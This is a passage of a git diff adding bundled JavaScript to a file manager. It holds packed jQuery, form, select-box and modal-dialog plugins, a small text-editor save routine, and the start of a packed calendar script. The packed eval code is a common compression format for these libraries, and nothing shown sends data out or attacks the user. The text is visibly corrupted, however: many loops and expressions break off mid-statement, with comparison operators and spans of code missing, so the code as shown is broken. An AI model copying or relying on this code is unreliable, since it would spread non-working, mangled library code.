")==0)7R;k=K}B{g=/^((\\/?\\.\\.)|([>\\/+~]))\\s*([a-z]*)/i;7((m=g.1V(t))!=H){r=[];u o=m[4],1k=6.1k++;m=m[1];E(u j=0,2e=b.C;j<2e;j++)7(m.J("..")<0){u n=m=="~"||m=="+"?b[j].1X:b[j].1d;E(;n;n=n.1X)7(n.1q==1){7(m=="~"&&n.1k==1k)1F;7(!o||n.Q.1D()==o.1D()){7(m=="~")n.1k=1k;r.R(n)}7(m=="+")1F}}B r.R(b[j].L);b=r;t=6.2C(t.1o(g,""));k=K}}7(t&&!k){7(!t.J(",")){7(l==b[0])b.4e();2j=6.1T(2j,b);r=b=[l];t=" "+t.2G(1,t.C)}B{u h=14 3o("^("+6.2J+"+)(#)("+6.2J+"+)");u m=h.1V(t);7(m){m=[0,m[2],m[3],m[1]]}B{h=14 3o("^([#.]?)("+6.2J+"*)");m=h.1V(t)}m[2]=m[2].1o(/\\\\/g,"");u f=b[b.C-1];7(m[1]=="#"&&f&&f.4d){u p=f.4d(m[2]);7((6.M.1h||6.M.2a)&&p&&1g p.2m=="1s"&&p.2m!=m[2])p=6(\'[@2m="\'+m[2]+\'"]\',f)[0];b=r=p&&(!m[3]||6.Q(p,m[3]))?[p]:[]}B{E(u i=0;b[i];i++){u a=m[1]!=""||m[0]==""?"*":m[2];7(a=="*"&&b[i].Q.2H()=="7P")a="2E";r=6.1T(r,b[i].3R(a))}7(m[1]==".")r=6.4c(r,m[2]);7(m[1]=="#"){u e=[];E(u i=0;r[i];i++)7(r[i].35("2m")==m[2]){e=[r[i]];1F}r=e}b=r}t=t.1o(h,"")}}7(t){u d=6.1i(t,r);b=r=d.r;t=6.2C(d.t)}}7(t)b=[];7(b&&l==b[0])b.4e();2j=6.1T(2j,b);v 2j},4c:q(r,m,a){m=" "+m+" ";u b=[];E(u i=0;r[i];i++){u c=(" "+r[i].12+" ").J(m)>=0;7(!a&&c||a&&!c)b.R(r[i])}v b},1i:q(t,r,h){u d;1v(t&&t!=d){d=t;u p=6.5A,m;E(u i=0;p[i];i++){m=p[i].1V(t);7(m){t=t.7N(m[0].C);m[2]=m[2].1o(/\\\\/g,"");1F}}7(!m)1F;7(m[1]==":"&&m[2]=="4Y")r=6.1i(m[3],r,K).r;B 7(m[1]==".")r=6.4c(r,m[2],h);B 7(m[1]=="@"){u g=[],G=m[3];E(u i=0,2e=r.C;i<2e;i++){u a=r[i],z=a[6.3H[m[2]]||m[2]];7(z==H||/4M|2u/.17(m[2]))z=6.1b(a,m[2])||\'\';7((G==""&&!!z||G=="="&&z==m[5]||G=="!="&&z!=m[5]||G=="^="&&z&&!z.J(m[5])||G=="$="&&z.2G(z.C-m[5].C)==m[5]||(G=="*="||G=="~=")&&z.J(m[5])>=0)^h)g.R(a)}r=g}B 7(m[1]==":"&&m[2]=="22-3u"){u e=6.1k++,g=[],17=/(\\d*)n\\+?(\\d*)/.1V(m[3]=="5L"&&"2n"||m[3]=="5K"&&"2n+1"||!/\\D/.17(m[3])&&"n+"+m[3]||m[3]),2Q=(17[1]||1)-0,d=17[2]-0;E(u i=0,2e=r.C;i<2e;i++){u j=r[i],L=j.L;7(e!=L.1k){u c=1;E(u n=L.1d;n;n=n.1X)7(n.1q==1)n.4a=c++;L.1k=e}u b=N;7(2Q==1){7(d==0||j.4a==d)b=K}B 7((j.4a+d)%2Q==0)b=K;7(b^h)g.R(j)}r=g}B{u f=6.4n[m[1]];7(1g f!="1s")f=6.4n[m[1]][m[2]];49("f = q(a,i){v "+f+"}");r=6.2s(r,f,h)}}v{r:r,t:t}},4p:q(c){u b=[];u a=c.L;1v(a&&a!=P){b.R(a);a=a.L}v b},22:q(a,e,c,b){e=e||1;u d=0;E(;a;a=a[c])7(a.1q==1&&++d==e)1F;v a},4q:q(n,a){u r=[];E(;n;n=n.1X){7(n.1q==1&&(!a||n!=a))r.R(n)}v r}});6.S={1A:q(d,e,c,b){7(6.M.1h&&d.3m!=I)d=18;7(!c.1Q)c.1Q=9.1Q++;7(b!=I){u f=c;c=q(){v f.O(9,19)};c.W=b;c.1Q=f.1Q}7(!d.$1a)d.$1a={};7(!d.$1p)d.$1p=q(){u a;7(1g 6=="I"||6.S.47)v a;a=6.S.1p.O(d,19);v a};u g=d.$1a[e];7(!g){g=d.$1a[e]={};7(d.46)d.46(e,d.$1p,N);B d.7M("5r"+e,d.$1p)}g[c.1Q]=c;7(!9.Y[e])9.Y[e]=[];7(6.2w(d,9.Y[e])==-1)9.Y[e].R(d)},1Q:1,Y:{},1E:q(b,c,a){u d=b.$1a,1Y,2p;7(d){7(c&&c.G){a=c.44;c=c.G}7(!c){E(c V d)9.1E(b,c)}B 7(d[c]){7(a)3l d[c][a.1Q];B E(a V b.$1a[c])3l d[c][a];E(1Y V d[c])1F;7(!1Y){7(b.43)b.43(c,b.$1p,N);B b.7J("5r"+c,b.$1p);1Y=H;3l d[c];1v(9.Y[c]&&((2p=6.2w(b,9.Y[c]))>=0))3l 9.Y[c][2p]}}E(1Y V d)1F;7(!1Y)b.$1p=b.$1a=H}},1t:q(c,b,d){b=6.2L(b||[]);7(!d)6.F(9.Y[c]||[],q(){6.S.1t(c,b,9)});B{u a,1Y,11=6.16(d[c]||H);b.5p(9.42({G:c,1O:d}));7(6.16(d.$1p)&&(a=d.$1p.O(d,b))!==N)9.47=K;7(11&&a!==N&&!6.Q(d,\'a\'))d[c]();9.47=N}},1p:q(b){u a;b=6.S.42(b||18.S||{});u c=9.$1a&&9.$1a[b.G],1S=[].51.3D(19,1);1S.5p(b);E(u j V c){1S[0].44=c[j];1S[0].W=c[j].W;7(c[j].O(9,1S)===N){b.2d();b.2D();a=N}}7(6.M.1h)b.1O=b.2d=b.2D=b.44=b.W=H;v a},42:q(c){u a=c;c=6.1c({},a);c.2d=q(){7(a.2d)v a.2d();a.7H=N};c.2D=q(){7(a.2D)v a.2D();a.7F=K};7(!c.1O&&c.5n)c.1O=c.5n;7(6.M.20&&c.1O.1q==3)c.1O=a.1O.L;7(!c.41&&c.4j)c.41=c.4j==c.1O?c.7C:c.4j;7(c.5k==H&&c.5j!=H){u e=P.4h,b=P.4y;c.5k=c.5j+(e&&e.5i||b.5i);c.7z=c.7y+(e&&e.5f||b.5f)}7(!c.3h&&(c.5e||c.5d))c.3h=c.5e||c.5d;7(!c.5c&&c.5b)c.5c=c.5b;7(!c.3h&&c.1J)c.3h=(c.1J&1?1:(c.1J&2?3:(c.1J&4?2:0)));v c}};6.11.1c({3g:q(c,a,b){v c=="3z"?9.3Z(c,a,b):9.F(q(){6.S.1A(9,c,b||a,b&&a)})},3Z:q(d,b,c){v 9.F(q(){6.S.1A(9,d,q(a){6(9).3U(a);v(c||b).O(9,19)},c&&b)})},3U:q(a,b){v 9.F(q(){6.S.1E(9,a,b)})},1t:q(a,b){v 9.F(q(){6.S.1t(a,b,9)})},1R:q(){u a=19;v 9.5a(q(e){9.4u=0==9.4u?1:0;e.2d();v a[9.4u].O(9,[e])||N})},7w:q(f,g){q 3W(e){u p=e.41;1v(p&&p!=9)2g{p=p.L}25(e){p=9};7(p==9)v N;v(e.G=="3V"?f:g).O(9,[e])}v 9.3V(3W).59(3W)},1G:q(f){7(6.3d)f.O(P,[6]);B 6.2q.R(q(){v f.O(9,[6])});v 9}});6.1c({3d:N,2q:[],1G:q(){7(!6.3d){6.3d=K;7(6.2q){6.F(6.2q,q(){9.O(P)});6.2q=H}7(6.M.3j||6.M.2a)P.43("58",6.1G,N);7(!18.7v.C)6(18).1W(q(){6("#3T").1E()})}}});14 q(){6.F(("7u,7t,1W,7s,7r,3z,5a,7q,"+"7p,7o,7n,3V,59,7m,2y,"+"4k,7l,7k,7j,2c").2R(","),q(i,o){6.11[o]=q(f){v f?9.3g(o,f):9.1t(o)}});7(6.M.3j||6.M.2a)P.46("58",6.1G,N);B 7(6.M.1h){P.7i("<7h"+"7f 2m=3T 7e=K "+"2u=//:><\\/3b>");u a=P.4d("3T");7(a)a.7d=q(){7(9.3a!="1n")v;6.1G()};a=H}B 7(6.M.20)6.3N=3m(q(){7(P.3a=="79"||P.3a=="1n"){3M(6.3N);6.3N=H;6.1G()}},10);6.S.1A(18,"1W",6.1G)};7(6.M.1h)6(18).3Z("3z",q(){u a=6.S.Y;E(u b V a){u c=a[b],i=c.C;7(i&&b!=\'3z\')77 c[i-1]&&6.S.1E(c[i-1],b);1v(--i)}});6.11.1c({76:q(c,b,a){9.1W(c,b,a,1)},1W:q(g,d,c,e){7(6.16(g))v 9.3g("1W",g);c=c||q(){};u f="3K";7(d)7(6.16(d)){c=d;d=H}B{d=6.2E(d);f="50"}u h=9;6.2Z({1C:g,G:f,W:d,2t:e,1n:q(a,b){7(b=="28"||!e&&b=="4V")h.1b("27",a.3c).3J().F(c,[a.3c,b,a]);B c.O(h,[a.3c,b,a])}});v 9},72:q(){v 6.2E(9)},3J:q(){v 9.1L("3b").F(q(){7(9.2u)6.4U(9.2u);B 6.3I(9.2A||9.5H||9.27||"")}).2U()}});6.F("4T,4I,4S,4R,4Q,4P".2R(","),q(i,o){6.11[o]=q(f){v 9.3g(o,f)}});6.1c({1M:q(e,c,a,d,b){7(6.16(c)){a=c;c=H}v 6.2Z({G:"3K",1C:e,W:c,28:a,3G:d,2t:b})},6X:q(d,b,a,c){v 6.1M(d,b,a,c,1)},4U:q(b,a){v 6.1M(b,H,a,"3b")},6V:q(c,b,a){v 6.1M(c,b,a,"4N")},6T:q(d,b,a,c){7(6.16(b)){a=b;b={}}v 6.2Z({G:"50",1C:d,W:b,28:a,3G:c})},6S:q(a){6.36.21=a},6Q:q(a){6.1c(6.36,a)},36:{Y:K,G:"3K",21:0,4O:"6P/x-6O-34-6N",4K:K,38:K,W:H},32:{},2Z:q(s){s=6.1c({},6.36,s);7(s.W){7(s.4K&&1g s.W!="1s")s.W=6.2E(s.W);7(s.G.2H()=="1M"){s.1C+=((s.1C.J("?")>-1)?"&":"?")+s.W;s.W=H}}7(s.Y&&!6.3L++)6.S.1t("4T");u f=N;u h=18.4Z?14 4Z("6L.6J"):14 4J();h.7b(s.G,s.1C,s.38);7(s.W)h.3Q("6H-6G",s.4O);7(s.2t)h.3Q("6F-3O-6D",6.32[s.1C]||"6C, 6B 6A 6z 4r:4r:4r 6y");h.3Q("X-6x-6w","4J");7(s.56)s.56(h);7(s.Y)6.S.1t("4P",[h,s]);u g=q(d){7(h&&(h.3a==4||d=="21")){f=K;7(i){3M(i);i=H}u c;2g{c=6.54(h)&&d!="21"?s.2t&&6.4F(h,s.1C)?"4V":"28":"2c";7(c!="2c"){u b;2g{b=h.3E("53-3O")}25(e){}7(s.2t&&b)6.32[s.1C]=b;u a=6.55(h,s.3G);7(s.28)s.28(a,c);7(s.Y)6.S.1t("4Q",[h,s])}B 6.2X(s,h,c)}25(e){c="2c";6.2X(s,h,c,e)}7(s.Y)6.S.1t("4S",[h,s]);7(s.Y&&!--6.3L)6.S.1t("4I");7(s.1n)s.1n(h,c);7(s.38)h=H}};u i=3m(g,13);7(s.21>0)4C(q(){7(h){h.6r();7(!f)g("21")}},s.21);2g{h.6p(s.W)}25(e){6.2X(s,h,H,e)}7(!s.38)g();v h},2X:q(s,a,b,e){7(s.2c)s.2c(a,b,e);7(s.Y)6.S.1t("4R",[a,s,e])},3L:0,54:q(r){2g{v!r.23&&7A.7B=="4l:"||(r.23>=5u&&r.23<6l)||r.23==5m||6.M.20&&r.23==I}25(e){}v N},4F:q(a,c){2g{u b=a.3E("53-3O");v a.23==5m||b==6.32[c]||6.M.20&&a.23==I}25(e){}v N},55:q(r,b){u c=r.3E("6k-G");u a=!b&&c&&c.J("4B")>=0;a=b=="4B"||a?r.6j:r.3c;7(b=="3b")6.3I(a);7(b=="4N")a=49("("+a+")");7(b=="3F")6("<1x>").3F(a).3J();v a},2E:q(a){u s=[];7(a.15==2b||a.3C)6.F(a,q(){s.R(2l(9.6i)+"="+2l(9.2v))});B E(u j V a)7(a[j]&&a[j].15==2b)6.F(a[j],q(){s.R(2l(j)+"="+2l(9))});B s.R(2l(j)+"="+2l(a[j]));v s.5M("&")},3I:q(a){7(18.4A)18.4A(a);B 7(6.M.20)18.4C(a,0);B 49.3D(18,a)}});6.11.1c({1m:q(b,a){v b?9.1w({1u:"1m",29:"1m",1e:"1m"},b,a):9.1i(":1y").F(q(){9.T.U=9.2i?9.2i:"";7(6.1f(9,"U")=="1P")9.T.U="2h"}).2U()},1j:q(b,a){v b?9.1w({1u:"1j",29:"1j",1e:"1j"},b,a):9.1i(":4f").F(q(){9.2i=9.2i||6.1f(9,"U");7(9.2i=="1P")9.2i="2h";9.T.U="1P"}).2U()},5G:6.11.1R,1R:q(a,b){v 6.16(a)&&6.16(b)?9.5G(a,b):a?9.1w({1u:"1R",29:"1R",1e:"1R"},a,b):9.F(q(){6(9)[6(9).37(":1y")?"1m":"1j"]()})},6e:q(b,a){v 9.1w({1u:"1m"},b,a)},6d:q(b,a){v 9.1w({1u:"1j"},b,a)},6b:q(b,a){v 9.1w({1u:"1R"},b,a)},6a:q(b,a){v 9.1w({1e:"1m"},b,a)},69:q(b,a){v 9.1w({1e:"1j"},b,a)},7U:q(c,a,b){v 9.1w({1e:a},c,b)},1w:q(d,h,f,g){v 9.1l(q(){u c=6(9).37(":1y"),1H=6.5z(h,f,g),5y=9;E(u p V d){7(d[p]=="1j"&&c||d[p]=="1m"&&!c)v 6.16(1H.1n)&&1H.1n.O(9);7(p=="1u"||p=="29"){1H.U=6.1f(9,"U");1H.2f=9.T.2f}}7(1H.2f!=H)9.T.2f="1y";9.2k=6.1c({},d);6.F(d,q(a,b){u e=14 6.2M(5y,1H,a);7(b.15==3y)e.2W(e.1K(),b);B e[b=="1R"?c?"1m":"1j":b](d)})})},1l:q(a,b){7(!b){b=a;a="2M"}v 9.F(q(){7(!9.1l)9.1l={};7(!9.1l[a])9.1l[a]=[];9.1l[a].R(b);7(9.1l[a].C==1)b.O(9)})}});6.1c({5z:q(b,a,c){u d=b&&b.15==64?b:{1n:c||!c&&a||6.16(b)&&b,1B:b,2I:c&&a||a&&a.15!=45&&a||(6.2I.4i?"4i":"4w")};d.1B=(d.1B&&d.1B.15==3y?d.1B:{61:60,89:5u}[d.1B])||8a;d.2N=d.1n;d.1n=q(){6.5I(9,"2M");7(6.16(d.2N))d.2N.O(9)};v d},2I:{4w:q(p,n,b,a){v b+a*p},4i:q(p,n,b,a){v((-5W.5X(p*5W.8e)/2)+0.5)*a+b}},1l:{},5I:q(b,a){a=a||"2M";7(b.1l&&b.1l[a]){b.1l[a].4e();u f=b.1l[a][0];7(f)f.O(b)}},3B:[],2M:q(f,e,g){u z=9;u y=f.T;z.a=q(){7(e.3A)e.3A.O(f,[z.2o]);7(g=="1e")6.1b(y,"1e",z.2o);B{y[g]=8m(z.2o)+"4o";y.U="2h"}};z.5V=q(){v 39(6.1f(f,g))};z.1K=q(){u r=39(6.2z(f,g));v r&&r>-8l?r:z.5V()};z.2W=q(c,b){z.4s=(14 5T()).5S();z.2o=c;z.a();6.3B.R(q(){v z.3A(c,b)});7(6.3B.C==1){u d=3m(q(){u a=6.3B;E(u i=0;ie.1B+z.4s){z.2o=c;z.a();7(f.2k)f.2k[g]=K;u b=K;E(u i V f.2k)7(f.2k[i]!==K)b=N;7(b){7(e.U!=H){y.2f=e.2f;y.U=e.U;7(6.1f(f,"U")=="1P")y.U="2h"}7(e.1j)y.U="1P";7(e.1j||e.1m)E(u p V f.2k)6.1b(y,p,f.24[p])}7(b&&6.16(e.1n))e.1n.O(f);v N}B{u n=t-9.4s;u p=n/e.1B;z.2o=6.2I[e.2I](p,n,a,(c-a),e.1B);z.a()}v K}}})}',62,524,'||||||jQuery|if||this|||||||||||||||||function||||var|return||||||else|length||for|each|type|null|undefined|indexOf|true|parentNode|browser|false|apply|document|nodeName|push|event|style|display|in|data||global|||fn|className||new|constructor|isFunction|test|window|arguments|events|attr|extend|firstChild|opacity|css|typeof|msie|filter|hide|mergeNum|queue|show|complete|replace|handle|nodeType|table|string|trigger|height|while|animate|div|hidden|tbody|add|duration|url|toUpperCase|remove|break|ready|opt|_|button|cur|find|get|tb|target|none|guid|toggle|args|merge|styleFloat|exec|load|nextSibling|ret|pushStack|safari|timeout|nth|status|orig|catch|al|innerHTML|success|width|opera|Array|error|preventDefault|rl|overflow|try|block|oldblock|done|curAnim|encodeURIComponent|id||now|index|readyList|disabled|grep|ifModified|src|value|inArray|multiFilter|select|curCSS|text|checked|trim|stopPropagation|param|domManip|substr|toLowerCase|easing|chars|insertBefore|makeArray|fx|old|ownerDocument|last|first|split|childNodes|selected|end|tr|custom|handleError|empty|ajax|el|clean|lastModified|String|form|getAttribute|ajaxSettings|is|async|parseFloat|readyState|script|responseText|isReady|append|defaultView|bind|which|position|mozilla|map|delete|setInterval|static|RegExp|oWidth|removeChild|oHeight|cloneNode|match|child|toString|has|float|Number|unload|step|timers|jquery|call|getResponseHeader|html|dataType|props|globalEval|evalScripts|GET|active|clearInterval|safariTimer|Modified|num|setRequestHeader|getElementsByTagName|currentStyle|__ie_init|unbind|mouseover|handleHover|init|getComputedStyle|one|isXMLDoc|relatedTarget|fix|removeEventListener|handler|Function|addEventListener|triggered|visibility|eval|nodeIndex|radio|classFilter|getElementById|shift|visible|appendChild|documentElement|swing|fromElement|submit|file|swap|expr|px|parents|sibling|00|startTime|previousSibling|lastToggle|parent|linear|ol|body|tagName|execScript|xml|setTimeout|version|setArray|httpNotModified|fl|prop|ajaxStop|XMLHttpRequest|processData|alpha|href|json|contentType|ajaxSend|ajaxSuccess|ajaxError|ajaxComplete|ajaxStart|getScript|notmodified|colgroup|100|not|ActiveXObject|POST|slice|fieldset|Last|httpSuccess|httpData|beforeSend|getPropertyValue|DOMContentLoaded|mouseout|click|ctrlKey|metaKey|keyCode|charCode|scrollTop|unique|createElement|scrollLeft|clientX|pageX|webkit|304|srcElement|appendTo|unshift|prevObject|on|after|before|200|removeAttr|prepend|cssFloat|self|speed|parse|input|reset|image|password|checkbox|_toggle|textContent|dequeue|lastChild|odd|even|join|contains|gt|lt|eq|nodeValue|getTime|Date|zoom|max|Math|cos|font|maxLength|600|slow|maxlength|readOnly|Object|readonly|createTextNode|class|htmlFor|fadeOut|fadeIn|slideToggle|CSS1Compat|slideUp|slideDown|compatMode|boxModel|compatible|name|responseXML|content|300|ie|noConflict|ra|send|it|abort|rv|userAgent|navigator|concat|With|Requested|GMT|1970|Jan|01|Thu|Since|reverse|If|Type|Content|array|XMLHTTP|ig|Microsoft|NaN|urlencoded|www|application|ajaxSetup|val|ajaxTimeout|post|setAttribute|getJSON|getAttributeNode|getIfModified|method|FORM|action|options|serialize|col|th|td|loadIfModified|do|colg|loaded|tfoot|open|thead|onreadystatechange|defer|ipt|leg|scr|write|keyup|keypress|keydown|change|mousemove|mouseup|mousedown|dblclick|scroll|resize|focus|blur|frames|hover|clone|clientY|pageY|location|protocol|toElement|clientWidth|clientHeight|cancelBubble|relative|returnValue|left|detachEvent|right|absolute|attachEvent|substring|offsetWidth|object|offsetHeight|continue|Width|border|fadeTo|padding|size|uFFFF|Left|u0128|Right|Bottom|textarea|Top|enabled|innerText|only|toggleClass|removeClass|fast|400|wrap|addClass|removeAttribute|PI|insertAfter|prependTo|children|line|splice|siblings|10000|parseInt|prev|next|weight|1px|prototype'.split('|'),0,{})); //jquery.js end + //form.js start +(function($){$.fn.ajaxSubmit=function(o){if(typeof o=='function')o={success:o};o=$.extend({url:this.attr('action')||window.location,type:this.attr('method')||'GET'},o||{});var a=this.formToArray(o.semantic);if(o.beforeSubmit&&o.beforeSubmit(a,this,o)===false)return this;var p={};$.event.trigger('form.submit.validate',[a,this,o,p]);if(p.veto)return this;var q=$.param(a);if(o.type.toUpperCase()=='GET'){o.url+=(o.url.indexOf('?')>=0?'&':'?')+q;o.data=null}else o.data=q;var r=this,callbacks=[];if(o.resetForm)callbacks.push(function(){r.resetForm()});if(o.clearForm)callbacks.push(function(){r.clearForm()});if(!o.dataType&&o.target){var u=o.success;callbacks.push(function(a){$(o.target).attr("innerHTML",a).evalScripts().each(u,arguments)})}else if(o.success)callbacks.push(o.success);o.success=function(a,b){for(var i=0,max=callbacks.length;i');var j=i[0];var k=$.browser.opera&&window.opera.version()<9;if($.browser.msie||k)j.src='javascript:false;document.write("");';i.css({position:'absolute',top:'-1000px',left:'-1000px'});var l={responseText:null,responseXML:null,status:0,statusText:'n/a',getAllResponseHeaders:function(){},getResponseHeader:function(){},setRequestHeader:function(){}};var g=f.global;if(g&&!$.active++)$.event.trigger("ajaxStart");if(g)$.event.trigger("ajaxSend",[l,f]);var m=0;var n=0;setTimeout(function(){i.appendTo('body');j.attachEvent?j.attachEvent('onload',cb):j.addEventListener('load',cb,false);var a=d.encoding?'encoding':'enctype';var t=r.attr('target');r.attr({target:h,method:'POST',encAttr:'multipart/form-data',action:f.url});if(f.timeout)setTimeout(function(){n=true;cb()},f.timeout);d.submit();r.attr('target',t)},10);function cb(){if(m++)return;j.detachEvent?j.detachEvent('onload',cb):j.removeEventListener('load',cb,false);var a=true;try{if(n)throw'timeout';var b,doc;doc=j.contentWindow?j.contentWindow.document:j.contentDocument?j.contentDocument:j.document;l.responseText=doc.body?doc.body.innerHTML:null;l.responseXML=doc.XMLDocument?doc.XMLDocument:doc;if(f.dataType=='json'||f.dataType=='script'){var c=doc.getElementsByTagName('textarea')[0];b=c?c.value:l.responseText;if(f.dataType=='json')eval("data = "+b);else $.globalEval(b)}else if(f.dataType=='xml'){b=l.responseXML;if(!b&&l.responseText!=null)b=toXml(l.responseText)}else{b=l.responseText}}catch(e){a=false;$.handleError(f,l,'error',e)}if(a){f.success(b,'success');if(g)$.event.trigger("ajaxSuccess",[l,f])}if(g)$.event.trigger("ajaxComplete",[l,f]);if(g&&!--$.active)$.event.trigger("ajaxStop");if(f.complete)f.complete(l,a?'success':'error');setTimeout(function(){i.remove();l.responseXML=null},100)};function toXml(s,a){if(window.ActiveXObject){a=new ActiveXObject('Microsoft.XMLDOM');a.async='false';a.loadXML(s)}else a=(new DOMParser()).parseFromString(s,'text/xml');return(a&&a.documentElement&&a.documentElement.tagName!='parsererror')?a:null}}};$.fn.ajaxSubmit.counter=0;$.fn.ajaxForm=function(a){return this.ajaxFormUnbind().submit(submitHandler).each(function(){this.formPluginId=$.fn.ajaxForm.counter++;$.fn.ajaxForm.optionHash[this.formPluginId]=a;$(":submit,input:image",this).click(clickHandler)})};$.fn.ajaxForm.counter=1;$.fn.ajaxForm.optionHash={};function clickHandler(e){var a=this.form;a.clk=this;if(this.type=='image'){if(e.offsetX!=undefined){a.clk_x=e.offsetX;a.clk_y=e.offsetY}else if(typeof $.fn.offset=='function'){var b=$(this).offset();a.clk_x=e.pageX-b.left;a.clk_y=e.pageY-b.top}else{a.clk_x=e.pageX-this.offsetLeft;a.clk_y=e.pageY-this.offsetTop}}setTimeout(function(){a.clk=a.clk_x=a.clk_y=null},10)};function submitHandler(){var a=this.formPluginId;var b=$.fn.ajaxForm.optionHash[a];$(this).ajaxSubmit(b);return false};$.fn.ajaxFormUnbind=function(){this.unbind('submit',submitHandler);return this.each(function(){$(":submit,input:image",this).unbind('click',clickHandler)})};$.fn.formToArray=function(b){var a=[];if(this.length==0)return a;var c=this[0];var d=b?c.getElementsByTagName('*'):c.elements;if(!d)return a;for(var i=0,max=d.length;i35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(6($){$.u.G=6(){4 e=6(a,v,t,b){4 c=P.Q("R");c.j=v,c.C=t;4 o=a.x;4 d=o.l;3(!a.n){a.n={};p(4 i=0;i=2){3(8(a[1])=="H")f=a[1];h 3(8(a[2])=="H")f=a[2];3(!m){v=a[0];t=a[1]}}5.y(6(){3(5.A.s()!="B")7;3(m){p(4 a S g){e(5,a,g[a],f)}}h{e(5,v,t,f)}});7 5};$.u.T=6(b,c,d,e,f){3(8(b)!="D")7 5;3(8(c)!="z")c={};3(8(d)!="H")d=9;5.y(6(){4 a=5;$.U(b,c,6(r){$(a).G(r,d);3(8 e=="6"){3(8 f=="z"){e.V(a,f)}h{e.I(a)}}})});7 5};$.u.W=6(){4 a=N;3(a.l==0)7 5;4 d=8(a[0]);4 v,i;3(d=="D"||d=="z"||d=="6")v=a[0];h 3(d=="X")i=a[0];h 7 5;5.y(6(){3(5.A.s()!="B")7;3(5.n)5.n=O;4 b=q;4 o=5.x;3(!!v){4 c=o.l;p(4 i=c-1;i>=0;i--){3(v.J==K){3(o[i].j.L(v)){b=9}}h 3(o[i].j==v){b=9}3(b&&a[1]===9)b=o[i].k;3(b){o[i]=O}b=q}}h{3(b&&a[1]===9)b=o[i].k;3(b){5.Y(i)}}});7 5};$.u.Z=6(f){4 a=8(f)=="M"?9:!!f;5.y(6(){3(5.A.s()!="B")7;4 o=5.x;4 d=o.l;4 e=[];p(4 i=0;iF?-1:1}});p(4 i=0;i').css({height:'100%',width:'100%',position:'fixed',left:0,top:0,'z-index':z-1,opacity:c.overlay/100});h.t=t;h.a=true;h.w.css('z-index',z);if(c.modal){if(!A[0])F('bind');A.push(s);o.css('cursor','wait')}else if(c.overlay>0)h.w.jqmAddClose(o);else o=false;h.o=(o)?o.addClass(c.overlayClass).appendTo('body'):false;if(ie6){$('html,body').css({height:'100%',width:'100%'});if(o){o=o.css({position:'absolute'})[0];for(var y in{Top:1,Left:1})o.style.setExpression(y.toLowerCase(),"(_=(document.documentElement.scroll"+y+" || document.body.scroll"+y+"))+'px'")}}if(c.ajax){var r=c.target,u=c.ajax;r=(r)?(typeof r=='string')?$(r,h.w):$(r):h.w;u=(u.substr(0,1)=='@')?$(t).attr(u.substring(1)):u;r.load(u,function(){if(c.onLoad)c.onLoad.call(this,h);if(cc)h.w.jqmAddClose($(cc,h.w));e(h)})}else if(cc)h.w.jqmAddClose($(cc,h.w));(c.onShow)?c.onShow(h):h.w.show();e(h);return false},close:function(s){var h=H[s];h.a=false;if(A[0]){A.pop();if(!A[0])F('unbind')}if(h.c.onHide)h.c.onHide(h);else{h.w.hide();if(h.o)h.o.remove()}return false}};var s=0,H=$.jqm.hash,A=[],ie6=$.browser.msie&&typeof XMLHttpRequest=='function',i=$('').css({opacity:0}),e=function(h){if(ie6)if(h.o)h.o.html('

').prepend(i);else if(!$('iframe.jqm',h.w)[0])h.w.prepend(i);f(h)},f=function(h){h.f=$(':input:visible:first',h.w)[0];if(h.f)h.f.focus()},F=function(t){$()[t]("keypress",m)[t]("keydown",m)[t]("mousedown",m)},m=function(e){var h=H[A[A.length-1]],r=(!$(e.target).parents('.jqmID'+h.s)[0]);if(r)f(h);return!r},hs=function(w,e,y){var s=[];w.each(function(){s.push(this._jqm)});$(e).each(function(){if(this[y])$.extend(this[y],s);else{this[y]=s;$(this).click(function(){for(var i in{jqmShow:1,jqmHide:1})for(var s in this[i])if(H[this[i][s]])H[this[i][s]].w[i](this);return false})}})}})(jQuery); +//jqModal.js end +//ajax_text_editor_general.js start +function save(id,text){jQuery('#text').val(text);jQuery('#save_as_request').val('0');jQuery('#name').val(currentName);jQuery('#folder').val(currentFolder);do_save(false)};function do_save(saveAsRequest){jQuery('#windowProcessing').jqmShow();var options={dataType:'json',error:function(data,status,e){alert(e)},success:function(data){if(typeof(data.error)=='undefined'){alert('Unexpected information ');if(typeof(saveAsRequest)=='boolean'&&saveAsRequest){jQuery('#windowSaveAs').jqmShow()}}else if(data.error!=''){alert(data.error);jQuery('#windowProcessing').jqmHide();if(typeof(saveAsRequest)=='boolean'&&saveAsRequest){jQuery('#windowSaveAs').jqmShow()}}else{jQuery('#windowProcessing').jqmHide();jQuery('#windowSaveAs').jqmHide();currentFolder=data.folder;currentName=data.name}}};jQuery('#frmProcessing').ajaxSubmit(options)};function save_as(id,text){jQuery('#text').val(text);jQuery('#windowSaveAs').jqmShow();var saveTo=jQuery('#save_to');jQuery(saveTo).removeOption(/./);jQuery(saveTo).ajaxAddOption(urlGetFolderList,{},false,function(){jQuery(saveTo).selectOptions(currentFolder)})};function do_save_as(){var pattern=/^[A-Za-z0-9_ \-]+$/i;var newName=jQuery('#new_name');var saveAs=jQuery('#save_to').get(0);var ext=jQuery('#ext').get(0);if(!pattern.test(jQuery(newName).val())){alert(warningInvalidName)}else if(saveAs.selectedIndex<0){alert(waringFolderNotSelected)}else if(ext.selectedIndex<0){alert(warningExtNotSelected)}else{jQuery('#name').val(jQuery(newName).val()+"."+ext.options[ext.selectedIndex].value);jQuery('#folder').val(saveAs.options[saveAs.selectedIndex].value);jQuery('#save_as_request').val('1');jQuery('#windowSaveAs').jqmHide();do_save(true)}return false}; +//ajax_text_editor_general.js end \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/calendar.js b/BO/ajaxfilemanager/jscripts/calendar.js new file mode 100755 index 0000000..0be7bb9 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/calendar.js @@ -0,0 +1,6 @@ +/* MarcGrabanski.com v2.7 */ +/* Pop-Up Calendar Built from Scratch by Marc Grabanski */ +/* Enhanced by Keith Wood (kbwood@iprimus.com.au). */ +/* Under the Creative Commons Licence http://creativecommons.org/licenses/by/3.0/ + Share or Remix it but please Attribute the authors. */ +eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('I 